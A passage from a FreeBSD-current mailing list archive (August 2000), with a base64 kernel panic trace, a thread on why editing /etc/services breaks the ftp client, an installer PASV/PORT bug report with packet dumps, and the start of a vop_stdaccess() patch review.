ICAgICAgICAgID0gMHgxMDoweGQ1NzM5ZGQ4DQpjb2RlIHNlZ21lbnQgICAg ICAgICAgICA9IGJhc2UgMHgwLCBsaW1pdCAweGZmZmZmLCB0eXBlIDB4MWIN CiAgICAgICAgICAgICAgICAgICAgICAgID0gRFBMIDAsIHByZXMgMSwgZGVm MzIgMSwgZ3JhbiAxDQpwcm9jZXNzb3IgZWZsYWdzICAgICAgICA9IGludGVy cnVwdCBlbmFibGVkLCByZXN1bWUsIElPUEwgPSAwDQpjdXJyZW50IHByb2Nl c3MgICAgICAgICA9IDE5NTQgKGlkKQ0KaW50ZXJydXB0IG1hc2sgICAgICAg ICAgPSANCnRyYXAgbnVtYmVyICAgICAgICAgICAgID0gMTINCnBhbmljOiBw YWdlIGZhdWx0DQoNCnN5bmNpbmcgZGlza3MuLi4gMyAxIA0KZG9uZQ0KVXB0 aW1lOiAxNmgxOG0yMXMNCg0KZHVtcGluZyB0byBkZXYgI2RhLzB4MjAwMDEs IG9mZnNldCAxNg0KZHVtcCA1MTEgPHNuaXAgWzUxMC0wXQ0KDQotLS0NCiMw ICBib290IChob3d0bz0yNTYpIGF0IC4uLy4uL2tlcm4va2Vybl9zaHV0ZG93 bi5jOjMwMg0KMzAyICAgICAgICAgICAgICAgICAgICAgZHVtcHBjYi5wY2Jf Y3IzID0gcmNyMygpOw0KKGtnZGIpIHdoZXJlDQojMCAgYm9vdCAoaG93dG89 MjU2KSBhdCAuLi8uLi9rZXJuL2tlcm5fc2h1dGRvd24uYzozMDINCiMxICAw eGMwMTVmNzZjIGluIHBvd2Vyb2ZmX3dhaXQgKGp1bms9MHhjMDJiM2Y0Ziwg aG93dG89LTc1NTQwOTYwMCkNCiAgICBhdCAuLi8uLi9rZXJuL2tlcm5fc2h1 dGRvd24uYzo1NTINCiMyICAweGMwMjc4NDRlIGluIHRyYXBfZmF0YWwgKGZy YW1lPTB4ZDU3MzlkOTQsIGV2YT0wKQ0KICAgIGF0IC4uLy4uL2kzODYvaTM4 Ni90cmFwLmM6OTI5DQojMyAgMHhjMDI3ODEwZCBpbiB0cmFwX3BmYXVsdCAo ZnJhbWU9MHhkNTczOWQ5NCwgdXNlcm1vZGU9MCwgZXZhPTApDQogICAgYXQg Li4vLi4vaTM4Ni9pMzg2L3RyYXAuYzo4MjINCiM0ICAweGMwMjc3Y2NiIGlu IHRyYXAgKGZyYW1lPXt0Zl9mcyA9IC0xMDcyMTY4OTQ0LCB0Zl9lcyA9IC03 MTM4ODM2MzIsIA0KICAgICAgdGZfZHMgPSAxNiwgdGZfZWRpID0gMCwgdGZf ZXNpID0gLTEwNTI3OTEwNzIsIHRmX2VicCA9IC03MTM4NDMyNDAsIA0KICAg ICAgdGZfaXNwID0gLTcxMzg0MzI2NCwgdGZfZWJ4ID0gLTc1NjQyMjU5Miwg dGZfZWR4ID0gMCwgDQogICAgICB0Zl9lY3ggPSAtMTA1MzM2OTU2NCwgdGZf ZWF4ID0gMCwgdGZfdHJhcG5vID0gMTIsIHRmX2VyciA9IDIsIA0KICAgICAg dGZfZWlwID0gLTEwNzE5NzU1NTEsIHRmX2NzID0gOCwgdGZfZWZsYWdzID0g NjYxMTgsIHRmX2VzcCA9IC03NTY0MjI1OTIsIA0KICAgICAgdGZfc3MgPSAt NzEzODQzMjE2fSkgYXQgLi4vLi4vaTM4Ni9pMzg2L3RyYXAuYzo0MjcNCiM1 ICAweGMwMWFmMzgxIGluIGluX3BjYnJlaGFzaCAoaW5wPTB4ZDJlOWU4NDAp IGF0IC4uLy4uL25ldGluZXQvaW5fcGNiLmM6OTg0DQojNiAgMHhjMDFhZWQ1 OSBpbiBpbl9wY2Jjb25uZWN0IChpbnA9MHhkMmU5ZTg0MCwgbmFtPTB4YzEz ZmFlZTAsIHA9MHhkMmY5NWQ0MCkNCiAgICBhdCAuLi8uLi9uZXRpbmV0L2lu X3BjYi5jOjUwNQ0KIzcgIDB4YzAxYmJjZmYgaW4gdWRwX291dHB1dCAoaW5w PTB4ZDJlOWU4NDAsIG09MHhjMTA3ODkwMCwgYWRkcj0weGMxM2ZhZWUwLCAN CiAgICBjb250cm9sPTB4MCwgcD0weGQyZjk1ZDQwKSBhdCAuLi8uLi9uZXRp bmV0L3VkcF91c3JyZXEuYzo2NzENCiM4ICAweGMwMWJjMGNiIGluIHVkcF9z ZW5kIChzbz0weGQyZGRmOWMwLCBmbGFncz0wLCBtPTB4YzEwNzg5MDAsIA0K ICAgIGFkZHI9MHhjMTNmYWVlMCwgY29udHJvbD0weDAsIHA9MHhkMmY5NWQ0 MCkNCiAgICBhdCAuLi8uLi9uZXRpbmV0L3VkcF91c3JyZXEuYzo4ODgNCiM5 ICAweGMwMTdiZTBiIGluIHNvc2VuZCAoc289MHhkMmRkZjljMCwgYWRkcj0w eGMxM2ZhZWUwLCB1aW89MHhkNTczOWVkYywgDQogICAgdG9wPTB4YzEwNzg5 MDAsIGNvbnRyb2w9MHgwLCBmbGFncz0wLCBwPTB4ZDJmOTVkNDApDQogICAg YXQgLi4vLi4va2Vybi91aXBjX3NvY2tldC5jOjYwNA0KIzEwIDB4YzAxN2Y0 ZDEgaW4gc2VuZGl0IChwPTB4ZDJmOTVkNDAsIHM9NCwgbXA9MHhkNTczOWYx YywgZmxhZ3M9MCkNCiAgICBhdCAuLi8uLi9rZXJuL3VpcGNfc3lzY2FsbHMu Yzo1MjANCiMxMSAweGMwMTdmNWNjIGluIHNlbmR0byAocD0weGQyZjk1ZDQw LCB1YXA9MHhkNTczOWY4MCkNCiAgICBhdCAuLi8uLi9rZXJuL3VpcGNfc3lz Y2FsbHMuYzo1NzINCiMxMiAweGMwMjc4NmIxIGluIHN5c2NhbGwyIChmcmFt ZT17dGZfZnMgPSA0NywgdGZfZXMgPSA0NywgdGZfZHMgPSA0NywgDQogICAg ICB0Zl9lZGkgPSAxMzQ1NjE3OTIsIHRmX2VzaSA9IDEzNDU1Nzc2MCwgdGZf ZWJwID0gLTEwNzc5NDAxNDgsIA0KICAgICAgdGZfaXNwID0gLTcxMzg0Mjcz MiwgdGZfZWJ4ID0gNjcyMDM3OTU2LCB0Zl9lZHggPSA1NiwgdGZfZWN4ID0g NTYsIA0KICAgICAgdGZfZWF4ID0gMTMzLCB0Zl90cmFwbm8gPSAxMiwgdGZf ZXJyID0gMiwgdGZfZWlwID0gNjcxNzM4NjYwLCB0Zl9jcyA9IDMxLCANCiAg ICAgIHRmX2VmbGFncyA9IDY0NywgdGZfZXNwID0gLTEwNzc5NDA1MTIsIHRm X3NzID0gNDd9KQ0KICAgIGF0IC4uLy4uL2kzODYvaTM4Ni90cmFwLmM6MTEy OA0KIzEzIDB4YzAyNmE2ZjUgaW4gWGludDB4ODBfc3lzY2FsbCAoKQ0KIzE0 IDB4MjgwYWM3ZDggaW4gPz8gKCkNCiMxNSAweDI4MGMwMzEzIGluID8/ICgp DQojMTYgMHgyODBiZTE2MSBpbiA/PyAoKQ0KIzE3IDB4MjgwYmU2YjAgaW4g Pz8gKCkNCiMxOCAweDI4MDk3MzU1IGluID8/ICgpDQojMTkgMHgyODA5Njlk MSBpbiA/PyAoKQ0KIzIwIDB4ODA0OGVlNyBpbiA/PyAoKQ0KIzIxIDB4ODA0 ODhlYiBpbiA/PyAoKQ0KIzIyIDB4ODA0ODc4ZCBpbiA/PyAoKQ0KDQo= --0-397160700-966439057=:69243-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 9:48:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from lap1.sohara.org (pooh.elsevier.nl [145.36.13.27]) by hub.freebsd.org (Postfix) with ESMTP id D4F6037C253 for ; Wed, 16 Aug 2000 09:48:31 -0700 (PDT) (envelope-from steve@lap1.sohara.org) Received: (from steve@localhost) by lap1.sohara.org (8.9.3/8.9.3) id TAA00717; Wed, 16 Aug 2000 19:05:11 +0100 (IST) (envelope-from steve) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 16 Aug 2000 19:05:11 +0100 (IST) From: "Steve O'Hara-Smith" To: Donn Miller Subject: RE: ftp and /etc/services... Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16-Aug-00 Donn Miller wrote: > refused" message when I try to login to anonymous ftp sites. Should ftp > be this dependent on /etc/services? What if you _have_ no services > running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes I think the answer to this is 'yes it should', /etc/services is just a port number to service name mapping with no connection to whatever services are running. The ftp client 'knows' it should talk to the ftp service and checks in /etc/services for the corresponding port number then makes a connection to that port on the specified host. If you were trying to get a local ftp server listening on port 2121 (no reason why not) then you would need to change inetd.conf (or rig the ftp server to run standalone on port 2121). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 10: 9:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id DE5C537C2B2 for ; Wed, 16 Aug 2000 10:09:16 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id MAA54058; Wed, 16 Aug 2000 12:09:06 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Wed, 16 Aug 2000 12:09:06 -0500 (CDT) From: David Scheidt To: Donn Miller Cc: current@freebsd.org Subject: Re: ftp and /etc/services... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000, Donn Miller wrote: :This is on a recently-built -current box. When I try to move ftp from :port 21 to port 2121 in /etc/services, I get a "Connection :refused" message when I try to login to anonymous ftp sites. Should ftp :be this dependent on /etc/services? What if you _have_ no services :running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes :this problem. I posted earlier about my problems with ftp recently. Yes. One would expect this. ftp(1) uses getservbyname(3), which looks at /etc/services to figure out what port to use. Since you've changed what getservbyname(3) returns to 2121, ftp(1) is trying to connect to the remote machine on port 2121. It's really quite unlikely they are running an ftp daemon there, so your connection is refused. This has absolutely nothing to do with what services your box runs, if inetd or portmap is running, or the phase of the moon. David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 10:47:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 9777C37C542 for ; Wed, 16 Aug 2000 10:47:10 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id TAA70940; Wed, 16 Aug 2000 19:47:04 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from localhost (localhost [127.0.0.1]) by arnold.neland.dk (8.11.0/8.9.3) with ESMTP id e7GHkj560797; Wed, 16 Aug 2000 19:46:51 +0200 (CEST) (envelope-from leifn@neland.dk) Date: Wed, 16 Aug 2000 19:46:40 +0200 (CEST) From: Leif Neland To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: ftp and /etc/services... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000, Donn Miller wrote: > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection > refused" message when I try to login to anonymous ftp sites. Should ftp > be this dependent on /etc/services? What if you _have_ no services > running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes > this problem. I posted earlier about my problems with ftp recently. > When you change ftp in /etc/services to 2121, you tell your machine, that ftp by default is running on port 2121 all over the world. What you want to do is _add_ a new service, eg spcl_ftp on port 2121 in /etc/services, and then in /etc/inetd.conf replace the keyword ftp with spcl_ftp: spcl_ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l If you have a standalone ftp-daemon (not invoked by inetd), you probably have a command-line option for specifying the port you want it to listen on. Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 10:48: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from mother.ludd.luth.se (mother.ludd.luth.se [130.240.16.3]) by hub.freebsd.org (Postfix) with ESMTP id EBDF837C507 for ; Wed, 16 Aug 2000 10:47:58 -0700 (PDT) (envelope-from pantzer@ludd.luth.se) Received: from speedy.ludd.luth.se (speedy.ludd.luth.se [130.240.16.164]) by mother.ludd.luth.se (8.9.3+Sun/8.9.3) with ESMTP id TAA00219; Wed, 16 Aug 2000 19:47:54 +0200 (MEST) Message-Id: <200008161747.TAA00219@mother.ludd.luth.se> X-Mailer: exmh version 2.1.1 10/15/1999 To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: ftp and /etc/services... In-Reply-To: Message from Donn Miller of "Wed, 16 Aug 2000 05:39:33 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 16 Aug 2000 19:47:54 +0200 From: Mattias Pantzare Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection > refused" message when I try to login to anonymous ftp sites. Should ftp > be this dependent on /etc/services? What if you _have_ no services > running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes > this problem. I posted earlier about my problems with ftp recently. Yes! From man 5 services: The services file contains information regarding the known services available in the DARPA Internet. For each service a single line should be present with the following information: If you wish to have your ftp-service on a diffrent port you simply tell inetd to use that port in inetd.conf. /etc/services is not only used by inetd. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 11: 2:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 2BEF637B5BA for ; Wed, 16 Aug 2000 11:02:13 -0700 (PDT) (envelope-from brdavis@odin.ac.hmc.edu) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id e7GI21P23559; Wed, 16 Aug 2000 11:02:01 -0700 Date: Wed, 16 Aug 2000 11:02:01 -0700 From: Brooks Davis To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: ftp and /etc/services... Message-ID: <20000816110201.A23546@Odin.AC.HMC.Edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from dmmiller@cvzoom.net on Wed, Aug 16, 2000 at 05:39:33AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Aug 16, 2000 at 05:39:33AM -0400, Donn Miller wrote: > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection > refused" message when I try to login to anonymous ftp sites. Should ftp > be this dependent on /etc/services? What if you _have_ no services > running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes > this problem. I posted earlier about my problems with ftp recently. That's the behavior I would expect. If you want to connect to a specific service, you should look it up in /etc/services. Changing IANA registered services in the services file is asking for trouble. If you really want to change it, you can should be able to get away with specifying the correct port on the command line. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 12:32:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id 86CF837C0CB for ; Wed, 16 Aug 2000 12:28:40 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA53434; Wed, 16 Aug 2000 21:28:22 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Visigoth Cc: Alfred Perlstein , current@freebsd.org Subject: Re: Kernel explosion in -stable In-Reply-To: Your message of "Wed, 16 Aug 2000 10:17:37 CDT." Date: Wed, 16 Aug 2000 21:28:22 +0200 Message-ID: <53432.966454102@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm quasi-offline at the moment, so I'm not able to do much about it and knowing myself I'll be sandbagged for a couple of weeks after my vacation so your best bet is to try to narrow this one further down yourself in the meantime. The comment above pcb_rehash() seems to have some strong guidance, and a double-check to see if I have messed up on the expected behaviour might be in order (look for "prison"). -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 12:32:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.targetnet.com (mail.targetnet.com [207.245.246.3]) by hub.freebsd.org (Postfix) with ESMTP id 01D0E37C210 for ; Wed, 16 Aug 2000 12:26:11 -0700 (PDT) (envelope-from james@targetnet.com) Received: from james by mail.targetnet.com with local (Exim 3.02 #1) id 13P8Pg-000Ix1-00; Wed, 16 Aug 2000 14:59:44 -0400 Date: Wed, 16 Aug 2000 14:59:44 -0400 From: James FitzGibbon To: Donn Miller Cc: current@freebsd.org Subject: Re: ftp and /etc/services... Message-ID: <20000816145943.B69261@targetnet.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: Organization: Targetnet.com Inc. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Donn Miller (dmmiller@cvzoom.net) [000816 14:43]: > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection > refused" message when I try to login to anonymous ftp sites. Should ftp > be this dependent on /etc/services? What if you _have_ no services > running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes > this problem. I posted earlier about my problems with ftp recently. The name to port mapping for a service is used by two processes on your system: the ftpd daemon and the ftp client. Modifying the port in /etc/services did move the daemon, but it also makes the client look up the new port when it wants to establish an outbound connection. Possible solutions: 1. If your FTP daemon can run in standalone mode, it may offer an option to change the port it listens on. 2. You can create an alternate service name with the new port in /etc/services ("myftp" for example), then change the entry in inetd.conf to make the daemon run on the alternate port. -- j. James FitzGibbon james@targetnet.com Targetnet.com Inc. Voice/Fax +1 416 306-0466/0452 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 13:11:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 229FB37B72A for ; Wed, 16 Aug 2000 13:11:46 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=root) by scientia.demon.co.uk with esmtp (Exim 3.16 #1) id 13P97z-00058b-00; Wed, 16 Aug 2000 20:45:31 +0100 Received: (from ben@localhost) by strontium.scientia.demon.co.uk (8.9.3/8.9.3) id UAA49916; Wed, 16 Aug 2000 20:45:31 +0100 (BST) (envelope-from ben) Date: Wed, 16 Aug 2000 20:45:31 +0100 From: Ben Smithurst To: Donn Miller Cc: current@freebsd.org Subject: Re: ftp and /etc/services... Message-ID: <20000816204531.C18766@strontium.scientia.demon.co.uk> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Donn Miller wrote: > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection refused" > message when I try to login to anonymous ftp sites. Well _there's_ a surprise. > Should ftp be this dependent on /etc/services? Uh, yes, that's the whole _point_ of /etc/services, so you can dynamically get a port number rather than hardcoding it. Of course, the port number for things like ftp/http/smtp and the other popular protocols are very unlikely to ever change, but that's not the point. If you change port numbers in /etc/services, things will break. > What if you _have_ no services running, e.g. inetd & portmap? ?? What relevance does that have to your problem/question? -- Ben Smithurst / ben@FreeBSD.org / PGP: 0x99392F7D FreeBSD Documentation Project / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 13:31:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by hub.freebsd.org (Postfix) with ESMTP id E079F37B884 for ; Wed, 16 Aug 2000 13:31:26 -0700 (PDT) (envelope-from archie@whistle.com) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id NAA27518 for ; Wed, 16 Aug 2000 13:31:26 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id NAA90755 for freebsd-current@freebsd.org; Wed, 16 Aug 2000 13:31:25 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008162031.NAA90755@bubba.whistle.com> Subject: 5.0 snapshot install problem To: freebsd-current@freebsd.org Date: Wed, 16 Aug 2000 13:31:25 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm having trouble installing the 5.0-20000815-CURRENT snapshot. The problem seems to be broken behavior in the installer FTP client. My firewall requires using passive mode. The installer asks the FTP server for passive mode (using PASV), but then it bogusly asks for active mode (using the PORT command) immediately afterwards. Yes I selected 'passive mode ftp' for the transfer method. Here's a portion of a packet dump exhibiting the problem. The install client machine is 207.76.205.124: 13:23:01.546352 207.76.205.124.1024 > 209.180.6.226.21: P 276:302(26) ack 880 win 17519 (DF) (ttl 64, id 24) 0000: 4500 0042 0018 4000 4006 c53e cf4c cd7c E..B..@.@..>.L.| 0010: d1b4 06e2 0400 0015 3f68 1fed e736 98b1 ........?h...6.. 0020: 5018 446f 31b7 0000 4357 4420 352e 302d P.Do1...CWD 5.0- 0030: 3230 3030 3038 3135 2d43 5552 5245 4e54 20000815-CURRENT 0040: 0d0a .. 13:23:01.632676 209.180.6.226.21 > 207.76.205.124.1024: P 880:917(37) ack 302 win 17520 (DF) [tos 0x10] (ttl 54, id 30158) 0000: 4510 004d 75ce 4000 3606 596d d1b4 06e2 E..Mu.@.6.Ym.... 0010: cf4c cd7c 0015 0400 e736 98b1 3f68 2007 .L.|.....6..?h . 0020: 5018 4470 4f15 0000 3235 302d 506c 6561 P.DpO...250-Plea 0030: 7365 2072 6561 6420 7468 6520 6669 6c65 se read the file 0040: 2052 4541 444d 452e 5458 540d 0a README.TXT.. 13:23:01.724509 207.76.205.124.1024 > 209.180.6.226.21: . ack 917 win 17520 (DF) (ttl 64, id 25) 0000: 4500 0028 0019 4000 4006 c557 cf4c cd7c E..(..@.@..W.L.| 0010: d1b4 06e2 0400 0015 3f68 2007 e736 98d6 ........?h ..6.. 0020: 5010 4470 1273 0000 0000 0000 0000 P.Dp.s........ 13:23:01.786809 209.180.6.226.21 > 207.76.205.124.1024: P 917:1014(97) ack 302 win 17520 (DF) [tos 0x10] (ttl 54, id 30178) 0000: 4510 0089 75e2 4000 3606 591d d1b4 06e2 E...u.@.6.Y..... 0010: cf4c cd7c 0015 0400 e736 98d6 3f68 2007 .L.|.....6..?h . 0020: 5018 4470 58c6 0000 3235 302d 2020 6974 P.DpX...250- it 0030: 2077 6173 206c 6173 7420 6d6f 6469 6669 was last modifi 0040: 6564 206f 6e20 5475 6520 4175 6720 3135 ed on Tue Aug 15 0050: 2030 383a 3335 3a30 3920 3230 3030 202d 08:35:09 2000 - 0060: 2031 2064 6179 2061 676f 0d0a 3235 3020 1 day ago..250 0070: 4357 4420 636f 6d6d 616e 6420 7375 6363 CWD command succ 0080: 6573 7366 756c 2e0d 0a essful... 13:23:01.796468 207.76.205.124.1024 > 209.180.6.226.21: P 302:308(6) ack 1014 win 17519 (DF) (ttl 64, id 26) 0000: 4500 002e 001a 4000 4006 c550 cf4c cd7c E.....@.@..P.L.| 0010: d1b4 06e2 0400 0015 3f68 2007 e736 9937 ........?h ..6.7 0020: 5018 446f 6163 0000 5041 5356 0d0a P.Doac..PASV.. 13:23:01.868422 209.180.6.226.21 > 207.76.205.124.1024: P 1014:1064(50) ack 308 win 17520 (DF) [tos 0x10] (ttl 54, id 30193) 0000: 4510 005a 75f1 4000 3606 593d d1b4 06e2 E..Zu.@.6.Y=.... 0010: cf4c cd7c 0015 0400 e736 9937 3f68 200d .L.|.....6.7?h . 0020: 5018 4470 9345 0000 3232 3720 456e 7465 P.Dp.E..227 Ente 0030: 7269 6e67 2050 6173 7369 7665 204d 6f64 ring Passive Mod 0040: 6520 2832 3039 2c31 3830 2c36 2c32 3236 e (209,180,6,226 0050: 2c33 352c 3233 3229 0d0a ,35,232).. 13:23:01.878064 207.76.205.124.1024 > 209.180.6.226.21: P 308:335(27) ack 1064 win 17519 (DF) (ttl 64, id 27) 0000: 4500 0043 001b 4000 4006 c53a cf4c cd7c E..C..@.@..:.L.| 0010: d1b4 06e2 0400 0015 3f68 200d e736 9969 ........?h ..6.i 0020: 5018 446f 521a 0000 504f 5254 2032 3037 P.DoR...PORT 207 0030: 2c37 362c 3230 352c 3132 342c 3139 322c ,76,205,124,192, 0040: 300d 0a 0.. ^^^^^^^^^^^^^^^^^^^^^^ this command is extraneous ^^^^^^^^^^^^^^^^^^^^^^^^ 13:23:01.942719 209.180.6.226.21 > 207.76.205.124.1024: P 1064:1094(30) ack 335 win 17520 (DF) [tos 0x10] (ttl 54, id 30197) 0000: 4510 0046 75f5 4000 3606 594d d1b4 06e2 E..Fu.@.6.YM.... 0010: cf4c cd7c 0015 0400 e736 9969 3f68 2028 .L.|.....6.i?h ( 0020: 5018 4470 54b1 0000 3230 3020 504f 5254 P.DpT...200 PORT 0030: 2063 6f6d 6d61 6e64 2073 7563 6365 7373 command success 0040: 6675 6c2e 0d0a ful... 13:23:01.945173 207.76.205.124.1024 > 209.180.6.226.21: P 335:353(18) ack 1094 win 17519 (DF) (ttl 64, id 28) 0000: 4500 003a 001c 4000 4006 c542 cf4c cd7c E..:..@.@..B.L.| 0010: d1b4 06e2 0400 0015 3f68 2028 e736 9987 ........?h (.6.. 0020: 5018 446f 9e75 0000 5245 5452 2062 696e P.Do.u..RETR bin 0030: 2f62 696e 2e69 6e66 0d0a /bin.inf.. 13:23:02.102686 209.180.6.226.21 > 207.76.205.124.1024: . ack 353 win 17520 (DF) [tos 0x10] (ttl 54, id 30220) 0000: 4510 0028 760c 4000 3606 5954 d1b4 06e2 E..(v.@.6.YT.... 0010: cf4c cd7c 0015 0400 e736 9987 3f68 203a .L.|.....6..?h : 0020: 5010 4470 118f 0000 0000 0000 0000 P.Dp.......... 13:24:17.039121 209.180.6.226.21 > 207.76.205.124.1024: P 1094:1148(54) ack 353 win 17520 (DF) [tos 0x10] (ttl 54, id 39708) 0000: 4510 005e 9b1c 4000 3606 340e d1b4 06e2 E..^..@.6.4..... 0010: cf4c cd7c 0015 0400 e736 9987 3f68 203a .L.|.....6..?h : 0020: 5018 4470 49a7 0000 3432 3520 4361 6e27 P.DpI...425 Can' 0030: 7420 6275 696c 6420 6461 7461 2063 6f6e t build data con 0040: 6e65 6374 696f 6e3a 2043 6f6e 6e65 6374 nection: Connect 0050: 696f 6e20 7265 6675 7365 642e 0d0a ion refused... Thanks, -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 13:35:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id CFF8B37B5C9 for ; Wed, 16 Aug 2000 13:35:04 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA53852 for ; Wed, 16 Aug 2000 22:35:02 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: Patch test & review: vop_stdaccess() From: Poul-Henning Kamp Date: Wed, 16 Aug 2000 22:35:02 +0200 Message-ID: <53850.966458102@critter> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please test and review this patch: http://phk.freebsd.dk/patch/vop_stdaccess.patch This patch creates a centralized function "vop_stdaccess()" which does the "canonical" permission check on a vnode. This code was duplicated in 5 filesystems and morphed in a 6th. Files touched: Index: fs/hpfs/hpfs_vnops.c Index: isofs/cd9660/cd9660_vnops.c Index: kern/vfs_default.c Index: 